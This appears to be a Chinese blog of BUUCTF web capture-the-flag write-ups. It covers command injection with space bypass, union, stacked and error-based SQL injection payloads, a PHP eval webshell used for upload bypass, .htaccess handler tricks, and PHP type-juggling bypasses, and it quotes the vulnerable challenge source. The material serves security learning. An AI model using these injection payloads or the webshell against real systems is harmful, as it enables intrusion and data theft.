[GXYCTF2019]Ping Ping Ping

rce bypass:空格绕过

过滤了常用命令行字符

image-20220801184211994

payload:

1
/?ip=127.0.0.1;cat$IFS$9`ls`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$flag = "flag{b86f81d8-ad3d-40db-9c96-6608515e33da}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

浅谈CTF中命令执行与绕过的小技巧 | Pupiles blog

RCE的Bypass与骚姿势总结 - 腾讯云开发者社区-腾讯云

Linux Shell 中的反引号,单引号,双引号

[极客大挑战 2019]LoveSQL

sample inject

简单测试,存在注入

image-20220801185937690

payload

1
2
3
4
5
6
?username=a' or '1' = '1
&password=a' or '1' = '1

or

?username=admin' or 1=1 %23&password=1

image-20220801191006202

存在3个字段

1
?username=admin' order by 3 %23&password=1

union注入

1
2
?username=' union select 1,2,3%23
&password=1

image-20220801191313438

1
2
?username=' union select 1,user(),database()%23
&password=1

image-20220801191335438

爆表

1
2
?username=' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='geek'%23
&password=1

爆字段

1
2
?username=' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='l0ve1ysq1'%23
&password=1

flag

1
2
?username=' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1%23
&password=1

[极客大挑战 2019]Knife

webshell

image-20220801192441243

antSword连接

image-20220801192500898

根目录下存在flag

[极客大挑战 2019]Upload

upload bypass:后端文件解析与MIME类型校验

文件上传

上传非图片,前端存在校验

抓包发送php一句话,被拦截

改用phtml脚本,修改文件头为PNG头,发送MIME类型为png

上传成功,antsword连接获取flag

查看upload_file.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 代码部分
<?php
$file = $_FILES["file"]; // 获取文件
// 不允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp)); // 获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]); // php临时文件名,并解析文件格式类型
if ((($file["type"] == "image/gif") // 根据MIME获取文件类型
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480) // 小于 20 kb
{
if ($file["error"] > 0){
echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>

php中$_FILES变量的用法 - SegmentFault 思否

payload:

1
<script language='php'>eval($_POST['cmd']);</script>

[ACTF2020 新生赛]Upload

与上题类似

[极客大挑战 2019]BabySQL

inject bypass:替换双写

布尔注入和双写发现调换掉了or等关键字

1
2
?username=a
&password=b' ororderder by 3#

image-20220802134706690

1
2
?username=admin' oorrder bbyy 3 %23
&password=1

继续注

1
2
?username=admin
&password=1' uunionnion sselectelect 1,group_concat(table_name),user() frofromm infoorrmation_schema.tables whwhereere table_schema=database()%23

爆字段

1
2
?username=admin
&password=1' uunionnion sselectelect 1,group_concat(column_name),user() frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23

getflag

1
2
?username=admin
&password=1' uunionnion sselectelect 1,group_concat(username),group_concat(passwoorrd) frofromm b4bsql%23

[极客大挑战 2019]PHP

网站备份扫描、php反序列化

1
dirsearch -u http://url -e php

大量429 Too Many Requests,不过不用管,发现www.zip

CTF-Web-[极客大挑战 2019]PHP - SegmentFault 思否

[ACTF2020 新生赛]BackupFile

dirsearch,php类型比较

扫描到备份文件index.php.bak

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { // 必须是数字
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) { // 此处弱类型比较,只要前面是123就匹配
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

payload:

1
/?key=123

[极客大挑战 2019]BuyFlag

cookie,strcmp

一段被注释的代码

1
2
3
4
5
6
7
8
9
	~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

这里password使用404加一个字符绕过

提示money需要100000000,body里面构造password和money发送,提示Nember lenth is too long

猜测使用strcmp判断,将money修改为money[]即可绕过

提示必须是CUIT的学生,可以看到默认cookie里有个user为0

设置user为1即可

也可以改用科学计数法,10e10

[护网杯 2018]easy_tornado

python tornado SSTI模板注入

2018护网杯easy_tornado(BUUCTF提供复现)_大千SS的博客-CSDN博客

[HCTF 2018]admin

弱口令、session伪造、Unicode欺骗

BUUCTF | [HCTF 2018]admin - laolao - 博客园

[BJDCTF2020]Easy MD5

sql md5()注入、php md5函数强弱类型比较

1
md5('ffifdyop') = 276f722736c95d99e921722cf9ed621c	# ' or '6

[BJDCTF2020]Easy MD5 - 简书

[ZJCTF 2019]NiZhuanSiWei

php反序列化、php伪协议:

data:// 写入数据

php://input 执行php

php://filter 查看源码

[ZJCTF 2019]NiZhuanSiWei 1详解 - junlebao - 博客园

[MRCTF2020]你传你🐎呢

.htaccess上传、其他文件执行

包含bbb的文件执行:

1
2
3
<FilesMatch "bbb">
SetHandler application/x-httpd-php
</FilesMatch>

png文件执行:

1
AddType application/x-httpd-php .png

[强网杯2019]随便注

数据库语法

如果你直接注入,会发现过滤了一些关键字,于是使用堆叠注入:

image-20220820162552972

那我们先用show来查询出数据库、表、字段:

1
show database;show tables;show columns;#

然后你会发现flag字段。但是你查询不了。那么绕过这个过滤呢,因为正常查询是通过id查words表的,于是我们可以将flag的表改成words的表,这样正常查询就能得到flag

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

另外,我们可以使用编码的方式:

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[极客大挑战 2019]HardSQL

关键词过滤、fuzz、空格绕过、报错注入

1
check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
1
2
admin%27or
(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
1
2
admin%27or
(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23
1
2
admin%27or
(updatexml(1,concat(0x7e,(select(group_concat(left(password,25)))from(H4rDsq1)),0x7e),1))%23
⬆︎TOP